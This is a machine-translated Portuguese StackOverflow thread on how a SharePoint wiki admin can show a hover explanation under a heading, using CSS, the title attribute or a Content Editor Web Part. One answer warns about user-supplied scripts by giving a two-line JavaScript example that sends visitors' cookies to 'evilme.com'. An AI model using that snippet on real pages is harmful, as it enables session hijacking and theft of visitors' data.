Pergunta

Como posso, como o administrador wiki, digite scripting (JavaScript) em uma página wiki Sharepoint?
Gostaria de introduzir um título e, ao clicar em que, tendo apresentado em uma pequena explicação. Eu costumo ter feito isso com javascript, qualquer outra idéia?

Foi útil?

Solução

Assumindo que você é o administrador do wiki e são exibição dispostos este javascript no mouseover em vez de clique, você não precisa de todo - você pode usar CSS em linha reta. Aqui está um exemplo dos estilos e marcação:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

Com alguns estilos mais envolvidos, a sua caixa de dica de ferramenta pode olhar tão bom como você gostaria.

Outras dicas

Se os autores wiki são sábios, provavelmente não há maneira de fazer isso.

O problema com JavaScript contribuição do usuário é que ele abre a porta para todas as formas de malfeitores aos dados da garra do desavisado.

Vamos mal-me supor postar um script em um site público:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Agora vou receber as informações do cookie de cada visitante para a página, enviada para um registro no meu servidor. E isso é apenas a ponta do iceberg.

Depende completamente o software Wiki específico que você está usando. A maneira que eu vi o trabalho é para hospedar um arquivo de js em outro lugar e, em seguida, incluir com uma tag de script com um atributo src.

Se eles não permitem isso, talvez eles permitem um IFRAME que você pode definir para uma página que inclui o script. Usando a segunda técnica, você não será permitido o acesso DOM da página de acolhimento.

Eu gosto da resposta CSS. Quando você pode usar CSS em vez de Javascript que resulta na marcação simples.
Outra coisa é olhar para o Kit comunitário para SharePoint melhorada Wiki Edition no Codeplex. Você pode baixar o código-fonte e adicionar em seus próprios recursos. Ou você pode sugerir este como um novo recurso no fórum.

Isso soa como um risco de segurança. Parece que é possível para o administrador wiki para instalar scripts, consulte da Wikipédia scripts de usuário .

Se você está falando sobre o uso de Javascript, como parte de uma página web neste site, você não pode. Ou qualquer outro wiki público para esse assunto. - É um risco de segurança

Se você está falando sobre a publicação de um exemplo de código, clique no botão '101010' acima da caixa de texto.

Seria, claro, dependem do mecanismo wiki que você está falando. O mais provável, porém, como sblundy diz, seria um risco de segurança para permitir o uso livre de javascript na página wiki.

Você não deve ser capaz de adicionar código javascript para qualquer wiki público. Se você está hospedando-lo sozinho, então você precisa para pedir um sistema específico wiki para que alguém possa ajudá-lo a modificar as configurações -. Se possível para que o sistema

Adicionar title="text here" a qualquer tag e ele deve mostrar um texto quando pairando sobre ele.
Internet Explorer mostra o texto quando você usa o atributo alt="text here", embora isso não seja de acordo com as normas.

Eu testei agora, e você pode adicionar <h2 title="some explanation here">headline</h2> a qualquer sistema baseado em wikimedia (aquele usos Wikipédia).

Use um Editor de conteúdo Web Part

A partir da fita, selecione Insert e escolha Web Part. No menu, ir para Media and Content e escolha Content Editor. Do menu dropdown do webpart recém-criado, escolha Edit Web Part. A partir do menu configurações WebPart direito, expanda Appearance e conjunto Chrome Type para None. Clique Click Here to Add Content na webpart e localizar Edit HTML Source na fita. Você pode usar HTML nesta área sem que seja higienizado distância.

Nota: Se você planeja adicionar comportamentos para lotes de elementos da página, você pode querer fazer upload de arquivos .js a biblioteca de estilos e incluem apenas o tag <script src="..."> no Editor de conteúdo. Você também pode querer olhar em usar um layout mestre personalizado ou página.

Fonte: https://cobwwweb.com/how-to -run-javascript-on-sharepoint-páginas

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top